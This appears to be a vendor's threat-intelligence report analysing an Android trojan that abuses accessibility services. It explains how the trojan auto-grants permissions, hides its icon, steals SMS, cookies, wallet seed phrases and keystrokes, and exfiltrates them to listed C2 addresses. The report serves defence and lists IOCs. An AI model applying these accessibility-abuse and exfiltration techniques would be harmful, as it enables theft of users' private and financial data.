Accessibility is a powerful feature within the Android system designed to help users with special needs better utilize their devices. However, this feature can also be abused by malicious apps to perform operations beyond user control. Once a malicious app obtains accessibility permissions, it can execute various operations without the user's knowledge, such as enabling other sensitive permissions, leading to user data theft and privacy invasion. Therefore, users should be cautious when granting accessibility permissions and avoid granting them to untrusted apps.

The list of permissions enabled through accessibility in the code is as follows:

- android.permission.READ_SMS: Allows the app to read SMS messages
- android.permission.SEND_SMS: Allows the app to send SMS messages
- android.permission.RECEIVE_SMS: Allows the app to receive SMS messages
- android.permission.READ_CONTACTS: Allows the app to read the contact list
- android.permission.WRITE_CONTACTS: Allows the app to edit the contact list
- android.permission.READ_PHONE_STATE: Allows the app to read the device's phone state and identity information
- android.permission.WRITE_EXTERNAL_STORAGE: Allows the app to write to external storage, such as an SD card
- android.permission.MODIFY_AUDIO_SETTINGS: Allows the app to modify audio settings
- android.permission.READ_EXTERNAL_STORAGE: Allows the app to read external storage, such as an SD card
- android.permission.INSTALL_PACKAGES: Allows the app to install other applications
- android.permission.CALL_PHONE: Allows the app to make phone calls
- android.permission.GET_ACCOUNTS: Allows the app to access the device's account list
- android.permission.READ_PHONE_NUMBERS: Allows the app to read the device's phone numbers
- android.permission.CLEAR_APP_CACHE: Allows the app to clear all cache files

#

<img src="/ucenterapi/upload/file/ec65723b3273174a343489d3475883f6"width="880" height=""></img>


<img src="/ucenterapi/upload/file/a4ff37c7b736fe71b508700ba4390c88"></img>

#
As shown in the images above, the app first hardcodes the list of permissions to be enabled through accessibility and then requests these permissions from the system. In the PermissionsTask phase, the app listens for permission request actions. Once a permission request is detected, the app automatically clicks the "Agree" button on the permission request interface using accessibility.

## Static Code Analysis
After using the Incinerator tool to automatically unpack the sample and analyze the malicious behavior code, we discovered the following main features:

#
### **1. Delete specified apps and their app data**
 The malicious app has the capability to delete other apps and their data, potentially affecting users' normal use of their phones and applications.

 #

<img src="/ucenterapi/upload/file/bac232005174772d5cb898d949dc8617"></img>

#
 The` clearApp` method indeed deletes cache data related to a specific app package by executing the`pm clear package` command, including image cache, temporary files, and database cache. This helps clean up junk files on the device and frees up storage space.
 The `deleteThisApp` method uninstalls the app by triggering the`android.intent.action.DELETE` intent. When the system receives this intent, an uninstall confirmation interface pops up. Typically, the user needs to manually click the "Agree" button on this interface to complete the uninstall. However, since this malicious app has accessibility permissions, it can automatically click the "Agree" button when the uninstall confirmation interface appears, thus completing the uninstall operation without the user's knowledge. This approach further enhances the malicious app's stealth and destructiveness.

#
### **2. Install and launch arbitrary apps**
 The malicious app can install and launch other apps, potentially further spreading malware or directing users to malicious websites.

#

<img src="/ucenterapi/upload/file/47e148941a8983668bf233bc1721120a"></img>

#
 The installation and uninstallation of apps are indeed achieved through accessibility. This approach can conveniently automate the app installation and uninstallation process for users. The only difference is that to implement this feature, the malicious app needs to adapt to different manufacturers' package names and installation Activity names.

As a result, the malicious app can successfully execute installation and uninstallation operations on various devices, thus more covertly implementing its malicious behavior. This strategy grants the malicious app a broader attack capability on various devices.

#
### **3. Hide its app icon**

To make it difficult to be discovered and uninstalled, the malicious app hides its app icon.

#

<img src="/ucenterapi/upload/file/2a22503bc8505cabd5cbbc4084d626b7"></img>

#
In this malicious app, the developer uses the `setComponentEnabledSetting` method to disable the Launcher Activity. As a result, users cannot operate or access the malicious app through the app icon (Launcher Icon) on the device's main screen.
The `setComponentEnabledSetting` method can be used to enable or disable app components, such as Activity, Service, BroadcastReceiver, etc. In this case, the malicious app achieves the purpose of hiding itself by disabling Launcher Activity, making it harder for users to detect its presence. This approach further enhances the stealth of the malicious app, making it more difficult to be discovered and removed.

#
### **4. Upload sensitive information such as phone contacts**
 The malicious app can steal and upload user contacts, text messages, cookies, etc., potentially leading to user privacy leaks and financial loss.

#

<img src="/ucenterapi/upload/file/fec40b6d80161cd69eedbb748387e9ce"></img>


<img src="/ucenterapi/upload/file/0e9d5f601edfe7f0a01b49920a0a22aa"></img>

#
 As shown in the images above, the malicious app first accesses text message content through content://sms, then processes it through a series of business logic and integrates it into the data of a network request. In addition to the text message data, this request also contains information such as SIM card information, victim device's IP address, country, city, and device model. Finally, this data is sent to a specified server.

Through this method, the malicious app can steal user text messages and device information and send this data to the attacker. Attackers can use this information for various illegal activities, such as fraud, privacy theft, or even identity theft.

#
### **5. Use SmsManager to send text messages, delete text messages, cancel text message notifications, read text messages**

### 5.1 Upload text messages


<img src="/ucenterapi/upload/file/90ce1eff5787453308a3cbef169a556b"></img>


<img src="/ucenterapi/upload/file/e2261256839bc65eb625995adddb6d32"></img>

#
 According to the above description, the malicious app listens for the system broadcast when a text message is received, extracts the received text message content from the broadcast, and then sends each text message to a remote server. After completing this process, the app also terminates the received text message broadcast to avoid being discovered by users or other applications. In the second image, super.execute refers to sending the collected text message data to the remote server.

This behavior indicates that the malicious app has taken a more aggressive approach to stealing user text messages. Users need to strengthen their awareness of such applications to avoid adverse effects on their privacy and security.

### 5.2 Send text messages


<img src="/ucenterapi/upload/file/7321db5b9db67fd34ae3b76be3f12587"></img>

#
The app calls the system's SmsManager to send text messages.

#
### **6. Obtain user cookie information and upload, inject cookies, etc.**’

#

<img src="/ucenterapi/upload/file/9545c3cbd4eb39c1f88d7aeb452a2483"></img>

#
 As shown in the image above, read all cookies, upload them to the remote server, and use CookieManager to delete local cookies.

#
### **7. Read and upload digital wallet information**

### 7.1 Read balance


<img src="/ucenterapi/upload/file/11fad808556b0d3a373165019b18dbe8"></img>

#
 Using accessibility features, read the character content displayed by the View representing the balance, which is the user's wallet balance.

### 7.2 Read seed phrase


<img src="/ucenterapi/upload/file/12bde5def4ceef0a67a7d724b3247f7a"></img>


<img src="/ucenterapi/upload/file/a7a03c38f2d4a91ac96261642398b3f5"></img>

# 
Using accessibility features, read the content from the View representing the seed phrase.

### 7.3 Upload to server


<img src="/ucenterapi/upload/file/878e51e53f4cb40cd75d036953c42d5a"></img>

#
Send encrypted wallet information to the remote server.

#
### **8. Record and upload keyboard input records**


<img src="/ucenterapi/upload/file/60afb0bb00afcbc0ff686beee6891e9a"></img>


<img src="/ucenterapi/upload/file/29f168a91f67d4c87e89966401883946"></img>

#
 In the two images above, the first one listens to keyboard input and extracts data through accessibility features, while the second one uploads this data to the remote server.

#
### **9. Query sensitive information on mobile data (query stored email and app account data, IMSI, and other mobile information)**


<img src="/ucenterapi/upload/file/21c5287567e79b3d66e2c6ef52608455"></img>

#
 Use AccountManager to obtain account information and upload it to the remote server.
 
#
### **10. Mute the phone**


<img src="/ucenterapi/upload/file/5bc00f3d0ddb3537987ec9af5cef7b4b"></img>

#
 Using the audio system server, set the phone to silent mode.
#
### **11. Listen for phone restart events**


<img src="/ucenterapi/upload/file/7ddace1b8b508c6511ebb0d6bb289603"></img>


<img src="/ucenterapi/upload/file/1858e349a9a427c018c876e2913a57ff"width="880" height=""></img>

#
 Listen for phone restart events, and the malicious app begins to work after the phone restarts.

#
### **12. Use DownloadManager to download APK and install**


<img src="/ucenterapi/upload/file/0e12dc8b1366433b7277118e3fc33c87"></img>

#
 Download the APK and proceed with the installation.

#
### **13. Take photos, record videos**


<img src="/ucenterapi/upload/file/fc2abe1db55f80ca58c3ad9f8e7f33b3"></img>


<img src="/ucenterapi/upload/file/91b434f95993bc1af3b41d2e3a94caa5"></img>

#
### **14. Read other documents**


<img src="/ucenterapi/upload/file/d05f18285e304b204408900173e50336"></img>


<img src="/ucenterapi/upload/file/1b8a195114cd35c6a47bdd3e2cc74eca"></img>

#
### **15. Network requests**

 All logs in the code are uploaded, and the server address for uploading comes from an "encrypted" string

#

<img src="/ucenterapi/upload/file/1c9e5dd9706fa7f26a11a83dcfd5a8ed"></img>


<img src="/ucenterapi/upload/file/4bb8c8ea7563b0eb7db997e90822a153"width="880" height=""></img>

#
 Based on "aHR0cDovLzE5My40Mi4zMi44Ny8=" being a Base64 encoded string. After decoding, we obtained the URL "[http://193.42.32.87/](http://193.42.32.87/)", which is a server address for receiving collected data. However, this URL cannot be accessed in mainland China. Therefore, even if domestic users install this malicious app, their data will not be collected because the data cannot be successfully sent to the server.
 Additionally, the URLs "[http://ip-api.com/json](http://ip-api.com/json)" and "[https://icanhazip.com](https://icanhazip.com)" identified by the URL string scanner cannot be accessed due to the GFW.

# Conclusion
Overall, the main purpose of this malicious app is to steal user privacy and conduct fine-grained processing on the related privacy data. During the analysis process, a large number of special treatments for Chinese mobile phone manufacturers such as Huawei, Xiaomi, and OPPO were discovered, suggesting that this malicious app may primarily target Chinese users.
To hide its malicious behavior, the app uses a simple encryption shell to conceal critical code. This approach is not common in overseas malicious apps. Considering the types of data stolen, this malicious app is highly harmful because it steals very sensitive information such as text messages, encrypted wallets, and cookies, which could impact user's financial security.
In terms of technical means, the malicious app mainly utilizes Android's accessibility features and device administrator permissions. This method is relatively common in malicious apps. Users need to be vigilant and guard against the threats posed by such applications to their privacy and security.

## IOC Indicators

**SHA256:**
376d13affcbfc5d5358d39aba16b814f711f2e81632059a4bce5af060e038ea4
724a56172f40177da76242ee169ac336b63d5df85889368d1531f593b658606b
f3fc80a8793e60a901da44b9ab315931699e64a4f3eddb8aba839fe860de46dc

ec5b083c017570f846f6925b7c79d9e5886525a9b7ba7e514dabad0325c0af5e

**C2Server：**

193.42.32.87

85.31.45.101

Nexus Android Trojan Analysis Report

基于威胁情报中心安卓恶意代码分析能力横向对比分析

About Us

公司荣耀

Milestones

 Who We Are

We Are A Professional Team 

Home

Product

Service

News

Support

Knowledge Base

Guides

Submit A Ticket

Engine

Cornerstone Of Core-Level Technology

Multi-Industry Involvement

Lian Security

Reactor Engine

Support ARM, MIPS, PPC Instruction Set 

Pseudo-code in more intuitive and user-friendly way

Built-in optimization of pseudo-code regeneration for embedded / IoT firmware

Optimized Disassemble and Decompiler for Embedded / IoT Reverse Engineering

Pattern is organized in CWE form 

Bug finding process happen in embedded customized Intermediate Representation (IR)

BinQL – Our proprietary bug query language in specifying pattern to accomplish targeted IR analysis

Pattern Specific Bug Finding Approach

Output firmware supply chain information

Multiple firmware supply chain cross validation

Supply Chain Analysis

Create appropriate test case to reach into the code block with respective CWE

Selective approach to focus on the targeted code

Performance optimized for embedded firmware architecture

Integrated Symbolic Execution

System emulated fuzzing

Partial emulated fuzzing

CWE Specific

Pattern Specific Fuzzing Approach

Customized and concatenated pattern

Analyze a mass quantity of firmware without human intervention 

Generate professional report 

Headless Automation

Product Introduction

FAQ and Help

Detect the shell type

Unshell in the cloud

Present the original content

Automated Unshell 

APK File Manager

Restore source code

Best source code reading and editing experience

Static Analysis

One click to start debugging

Debugging apk as debugging source code

Simple, stable and friendly

Debugging

Real-time updated vulnerability repository and risk detection engine

Accurate detection with dataflow tracking technology

Locate the specific row number of vulnerability

Cloud-based scanning

Managed-flash dumping via field bus

Unmanaged-flash dumping with ECC patching

Intuitive user interface 

Firmware Dumping

Enumerate hardware pinouts for debug port

Expandable pinout count for enumeration

Performance optimized to reduce the enumeration time

Debug Port Finding

Hybrid approach of debug port enumeration and debugger adaptation

Connection matrix in switching the correct debug port pinouts onto the debugger respectively